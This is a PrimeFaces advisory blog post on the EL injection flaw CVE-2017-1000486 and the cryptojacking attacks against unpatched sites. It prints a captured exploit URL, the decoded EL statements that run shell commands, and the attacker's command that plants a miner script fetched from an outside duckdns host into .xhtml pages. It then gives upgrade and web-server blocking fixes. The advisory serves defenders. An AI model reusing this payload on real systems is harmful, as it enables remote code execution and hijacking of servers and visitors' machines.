PrimeFaces and EL Injection Update
PrimeFaces EL Injection – Issue 1152 / CVE-2017-1000486 / Cryptojacking Malware Injection
PrimeFaces had an EL Injection Vulnerability in older versions till 5.2.21 / 5.3.8 / 6.0 – which was already fixed 2 years ago (02-2016).
End of last year (12-2017), someone requested a CVE for that problem (https://github.com/primefaces/primefaces/issues/1152#issuecomment-221882773) and shorty after cryptojacking malware spotted on some PrimeFaces applications (https://forum.primefaces.org/viewtopic.php?f=3&t=53750&p=163369).
How does the injection work?
In PrimeFaces 5.2, the ValueExpression which targets the StreamedContent, was encrypted to the resource URL. This dynamic streaming mechanism is mainly used for the dynamic p:graphicImage. If the browser calls the resource URL, the ValueExpression was decrypted, executed and the result was streamed back in the HTTP response.
As the encryption is „quite“ simple, it’s possible to manipulate the ValueExpresion and therefore execute almost any Java-Code. It’s described very detailed here: http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
Cryptojacking Malware Injection Example:
1 2 |
Lets the following URL request: /javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=4ib88tY5cy3INAZZsdtHPFU0Qzf8xqfq7ScCVr132r36qawXCNDixKdRFB0XZvCTU9npUitDjk1QTkIeQJA4yEY72QT3qDGJpZjuqCDIWniQcr2vJZR%2B005iFZzJ%2Fi7VR9Mx5l5cedTgq9wS03rem26ubch9%2Bq4W6msPwJ1hk0KMefG9yZl3o5nYeA5gvnp9LQJb3r%2BM1yQ00zFBDzT4i9Nsx%2Fs5eaGsq9BFptosdH06iT1k7rn%2BrQtPjyIbOQzOmnMx%2F6THLsOCppRaIG7BW4VRbsIi1gJ8cRh6%2Bad71ukPWbDdM6S6O0Qcr%2FdkssHfL5%2F7y8Xy%2FcyDiiljeZj3dIibq3CSy6RBaZGzRXqjYAyV%2FJ7n3ulIkSVKszrCy3VyWb1uCY0fKLrPd3EO%2Flsw3k%2FbYSofV9MA%2BAaTnD8PXYhmiYGvp9b2R1BQGb8WgFk0fyTITJFZfUTJhM%2BiRJruw9ALDox8MY9S0SnpbmXM3LQmVYSghH0j4Zgi7Te7SZZK6gqgZEkrTA%2BQgAaZRIFG6R810xr5PZoWWG0Fdf9x491vRYtUSet8xCHIofPZ7fS5uP3mi2btGxWy8TgAEyC2wT%2F19mudycgOdTXW9nMt5nOf62fOdKSBYs2jStSwe2a6I6N5Bzp0Z7sdiJ0gmrHiYoJlkyT7p0wWGEk5Q4Xe1EPWIwGZIOr43j6BE7HUP5%2F7KdejsAQzNZZr1ox99VhH1TYwRuH7A7%2BN%2FWheWQCn%2FEM0xlpXC4GssZp4xPVah%2BP9wNH054upTkx4jH8j4houh2UfrjM9Vn18J%2BC1inTqHliDnzu9LFrm5L88eHCnLNDf6cyNmIaom7o2hEoNcffVMJ%2FhWkW7XwVkNS2b0%2B%2B1ZgQXCd7QE0dpIujuJ79keSD1cUyGdgKCVx70vtcbAcfa07Yt3DBPzeIP%2FLQjU6%2F%2BEwTS3oy4gttmMReFb7Bmn0uOUsmGZ%2FKkJNyWwN3wlsEfNFJzLx8%2FtCWjroQVWR0xS0ZudruYXAFmmi9O5iPYjyyQCH8JUrzR4N9vyWffKq1THVtN21EvX7x87Xl908kTe79uh6J61ICVo0PABqIl87m1n7te3d3pZ72PCXetr7GcaElzna95Nfoix9pwJ6GWAjRTcGNPT67lMx7cYKXmTD0mQAzXvlgWi2yEzFt9NA0NFhhZ4m6UeRZ7%2Bgs1Rr0HMpPu%2FNIvaCjTyZRdqRyxrDQ%2FF2QCTxpVEWKYWEEV2t6g%2BQ2m3Xo%2ByyWgeDbY8mHmwkdYUKO3QtwYxXtXTKT9dwCRtE1wDsYjLN0wMdSrg4YX3jCYlt7kV%2FymlnhNoSnVQoDJeumsGI1%2BdmKu2AJY8sGqXo2PJd10CxpQSO6D4F7RxA8fQji8shFybjhRek0YiEXxmvnhsBzCkBCXWguA7RXsMGLrerXVD1wHo5Jf7wQmLOyKUH7nne9ezwzVdQnaqadFehgZ6a6f5d%2FfxIRUZ1tKeLPST16CBlY0%2BPsRQDJJwWrRXdpuwon4PzHQXLD%2BAhQ%2F8j9Mb0OTM8RdZLuRjXw7tcY4muQDwMRCb92ipMiorDO8jVwPPOAXc5waNbSGmRhzOW1%2BLsQpV8OEMKVMDXq5dRoYKz6tlH0Zh4eZTHED3hK8z4cukSTXuxFpdC5NjiVsyhQU71J87Tvkzw1HxbjqhJK%2BkoPySJCmpHOmrrsbNlp0kHtNHuhY&cmd=cd+%2Flib%3Bfind+.+-type+f+-name+%27*.xhtml%27+%7C+xargs+sed+-i+-e+%27s%7C%3Cscript.*jhondi33.*%3C%5C%2Fscript%3E%7C%7Cg%27+-e+%27s%7C%3Cscript.*var+miner+%3D+new+deepMiner%5C.Anonymous.*%3C%5C%2Fscript%3E%7C%7Cg%27+2%3E%261%3B+find+.+-type+f+-name+%27*.xhtml%27+%7C+xargs+sed+-i+-e+%27s%7C%3Cscript.*smkimmo.*%3C%5C%2Fscript%3E%7C%7Cg%27+-e+%27s%7C%3Cscript.*var+miner+%3D+new+deepMiner%5C.Anonymous.*%3C%5C%2Fscript%3E%7C%7Cg%27+2%3E%261%3B+find+.+-type+f+-name+%27*.xhtml%27+%7C+xargs+sed+-i+-e+%27s%7C%3Cscript.*cryptoloot.*%3C%5C%2Fscript%3E%7C%7Cg%27+-e+%27s%7C%3Cscript.*var+miner+%3D+new+CRLT%5C.Anonymous.*%3C%5C%2Fscript%3E%7C%7Cg%27+2%3E%261%3B+find+.+-type+f+-name+%27*.xhtml%27+%7C+xargs+sed+-i+%27s%7C%3C%2Fui%3Adefine%3E%7C%3Cscr%27%27ipt+src%3D%5C%22https%3A%2F%2Fjhondi33.duckdns.org%3A7777%2FdeepMiner.js%5C%22%3E%3C%2Fs%27%27cript%3E%3Cscr%27%27ipt%3Evar+miner+%3D+new+deepMiner.Anonymous%28%5C%22605dee2nnpasaa%5C%22%29%3Bminer.start%28%29%3B%3C%2Fscri%27%27pt%3E%3C%2Fui%3Adefine%3E%7Cg%27+2%3E%261%3B+find+.+-type+f+-name+%27*.xhtml%27+%7C+xargs+sed+-i+%27s%7C%3C%2Fh%3Abody%3E%7C%3Csc%27%27ript+src%3D%5C%22https%3A%2F%2Fjhondi33.duckdns.org%3A7777%2FdeepMiner.js%5C%22%3E%3C%2Fscri%27%27pt%3E%3Csc%27%27ript%3Evar+miner+%3D+new+deepMiner.Anonymous%28%5C%22605dee2nnpasaa%5C%22%29%3Bminer.start%28%29%3B%3C%2Fscr%27%27ipt%3E%3C%2Fh%3Abody%3E%7Cg%27+2%3E%261 |
The ValueExpression results in the following statements:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
${session.setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())} ${session.setAttribute("scriptfactory", session.getClass().getClassLoader().getParent().newInstance(session.getAttribute("arr").toArray(session.getClass().getClassLoader().getParent().getURLs())).loadClass("javax.script.ScriptEngineManager").newInstance())} ${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))} ${facesContext.getExternalContext().setResponseHeader("resp1", session.getAttribute("scriptengine"))} ${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())} ${session.getAttribute("scriptengine").eval("var proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"".concat(request.getParameter("cmd")).concat("\"]).start(); var is = proc.getInputStream(); var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while (sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);} print(out);"))} ${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()} ${facesContext.getExternalContext().setResponseHeader("stillok", "yes")} |
Which means that the every code requested by the „cmd“ request parameter will be executed via the ProcessBuilder.
The Cryptojacking CMD in this case to do a request for “https://jhondi33.duckdns.org:7777/deepMiner.js” is;
1 |
cmd=cd /lib;find . -type f -name '*.xhtml' | xargs sed -i -e 's|<script.*jhondi33.*<\/script>||g' -e 's|<script.*var miner = new deepMiner\.Anonymous.*<\/script>||g' 2>&1; find . -type f -name '*.xhtml' | xargs sed -i -e 's|<script.*smkimmo.*<\/script>||g' -e 's|<script.*var miner = new deepMiner\.Anonymous.*<\/script>||g' 2>&1; find . -type f -name '*.xhtml' | xargs sed -i -e 's|<script.*cryptoloot.*<\/script>||g' -e 's|<script.*var miner = new CRLT\.Anonymous.*<\/script>||g' 2>&1; find . -type f -name '*.xhtml' | xargs sed -i 's|</ui:define>|<scr''ipt src=\"https://jhondi33.duckdns.org:7777/deepMiner.js\"></s''cript><scr''ipt>var miner = new deepMiner.Anonymous(\"605dee2nnpasaa\");miner.start();</scri''pt></ui:define>|g' 2>&1; find . -type f -name '*.xhtml' | xargs sed -i 's|</h:body>|<sc''ript src=\"https://jhondi33.duckdns.org:7777/deepMiner |
Solutions:
- The easiest solution is to upgrade PrimeFaces, the bugfix is available since 5.2.21 and 5.3.8. For community users, we suggest updating to 6.2 as it is the most secure PrimeFaces and also includes various other patches.
- If you don’t use the StreamedContent mechanism in your application, a solution might be to block all requests to dynamiccontent.properties.xhtml in your web server like following;
1 2 3 4 |
<Location /javax.faces.resource/dynamiccontent.properties.xhtml> Order allow,deny Deny from all </Location> |
Overall, we suggest always keeping your software stack up-to-date to avoid security bugs and be compatible with newer browser versions! PrimeFaces is constantly updated to include security patches.
Thomas Andraschko – PrimeFaces
Ralf
26 January 2018 at 14:06Hi,
when will Version 6.2 be available?
Thanks,
Ralf